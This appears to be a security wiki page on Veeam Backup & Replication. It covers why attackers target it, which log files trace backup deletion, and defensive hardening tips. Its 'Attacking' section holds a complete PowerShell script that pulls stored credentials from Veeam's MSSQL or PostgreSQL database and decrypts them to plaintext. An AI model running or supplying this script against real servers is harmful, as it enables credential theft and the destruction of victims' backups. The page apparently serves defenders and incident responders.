Veeam

What Is?

Veeam is a backup tool the allows the backing up and storage of data in online and offline backups.

Threat Actor Value:

  • Stores credentials of hosts that it uses to authenticate to and backup.

    • Could potentially allow a TA to steal ESXi credentials from a Veeam host.

  • Could store images of DCs, allowing a TA to mount and extract NTDS.dit.

    • These images can be encrypted and require a password to decrypt and mount.

  • Shows locations of offline backups and possibly ESXi hosts.

    • Can be used to discover these important hosts.

  • Allows a TA to delete backups to hinder recovery process.

File Location:

  • C:\ProgramData\Veeam\Backup\Svc.VeeamCatalog.log will have "[CRemoveBackupCmd]" line with clear BackupRef following. Using that you can get exact timestamp when Delete From Disk was initiated for backup you are missing.

  • C:\ProgramData\Veeam\Backup\Satellites\ you can find who exactly was logged on to your VBR server at said timestamp

  • Finally, there is a log at user console machine(or VBR server if logged on locally) C:\Users\UserName\AppData\Local\Veeam\Console that tracks every single click user does, including "[Backup] Delete" with clear ID of deleted backup too.

Parse Data:

Considerations:

  • By default, grants local administrators on host administrative privileges to Veeam.

  • By default, Veeam wants to allow SYSTEM to access mssql or postgress.

Analysis Tips:

Attacking:

Credential Dumping:

$DBProduct = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations").SqlActiveConfiguration

# Add EncryptionSalt value from registry HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\Data
$saltbase = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\Data").EncryptionSalt


if ($DBProduct -eq "Mssql")
{
    #Get SQL configuration
    $SQLConfiguration = Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\MsSql"
    $SQLServer        = $SQLConfiguration.SqlServerName
    $SQLInstance      = $SQLConfiguration.SqlInstanceName
    $SQLDB            = $SQLConfiguration.SqlDatabaseName
    $SQLConnection    = $SQLServer + "\" + $SQLInstance
    $sqlquery="SELECT user_name,password from dbo.Credentials"

    $Connection                  = New-Object System.Data.SQLClient.SQLConnection
    $Connection.ConnectionString = "server='$SQLConnection';database='$SQLDB';trusted_connection=false; integrated security='true'"
    $Connection.Open()
    $command                     = $Connection.CreateCommand()
    $command.CommandText         = $sqlquery
    $Datatable                   = New-Object "System.Data.Datatable"
    $result                      = $command.ExecuteReader()
    $Datatable.Load($result)
    $Result=$Datatable   


}

else
{
    #If postgreSQL
    
    #Get PostgreSQL configuration

    $PostgreSQLConfiguration = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\PostgreSql")
    $PostgreUser             = $PostgreSQLConfiguration.SQLUsername
    $PostgreSecPassword      = (Get-Credential -Message "Enter password for user $PostgreUser" -UserName $PostgreUser)
    $PostgrePassword         = $PostgreSecPassword.GetNetworkCredential().Password
    $PostgrePort             = $PostgreSQLConfiguration.SqlHostPort
    $PostgreDatabase         = $PostgreSQLConfiguration.SqlDatabaseName
    $PostgreQuery            = "SELECT user_name,password,description,change_time_utc FROM credentials"
    $dburl                   = "postgresql://$($PostgreUser):$PostgrePassword@localhost:$PostgrePort/$PostgreDatabase"
    $Result                  = $PostgreQuery | & "C:\Program Files\PostgreSQL\15\bin\psql" --csv $dburl | ConvertFrom-Csv

}

#Decrypt password
Foreach ($account in $result)
{
    $Name = $account.user_name
    $Password = "<N/A>"
    if ($account.password -like "AQAA*")
    {
        $context = $account.password
        Add-Type -AssemblyName 'system.security'
        $data = [Convert]::FromBase64String($context)
        $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
        $Password = [System.Text.Encoding]::UTF8.Getstring($raw)

    }
    if ($account.password -like "VmVlY*")
    {    
        # Add encrypted value from the configuration database with single quotes. ('value' not '"value"')
        $context = $account.password


        # Make no changes below this line
        Add-Type -AssemblyName System.Security 
        $salt = [System.Convert]::FromBase64String($saltbase)
        $data = [System.Convert]::FromBase64String($context)
        $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($data.Length * 2)
        foreach ($byte in $data) {$hex.AppendFormat("{0:x2}", $byte) > $null}
        $hex = $hex.ToString().Substring(74,$hex.Length-74)
        $data = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
        for ($i = 0; $i -lt $hex.Length; $i += 2) {$data[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)}
        $securedPassword = [System.Convert]::ToBase64String($data)
        $data = [System.Convert]::FromBase64String($securedPassword)
        $local = [System.Security.Cryptography.DataProtectionScope]::LocalMachine
        $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $salt, $local) 
        $Password = [System.Text.Encoding]::UTF8.Getstring($raw)
    }

    [PSCustomObject]@{
        Name     = $Name
        Password = $Password
    }
}

Script Output:

Defending:

  • Enable MFA authentication for Veeam.

  • Do not domain join the Veeam server.

    • This allows a lot of entry points into it.

  • Encrypt backups to prevent access to sensitive data without proper authentication.

  • Save backups in offline storage to prevent access and deletion.

  • Offline storages should pull and not push when it comes to downloading data.

    • This method only allows the offline storage to access the backup hosts and not the other way around.

Last updated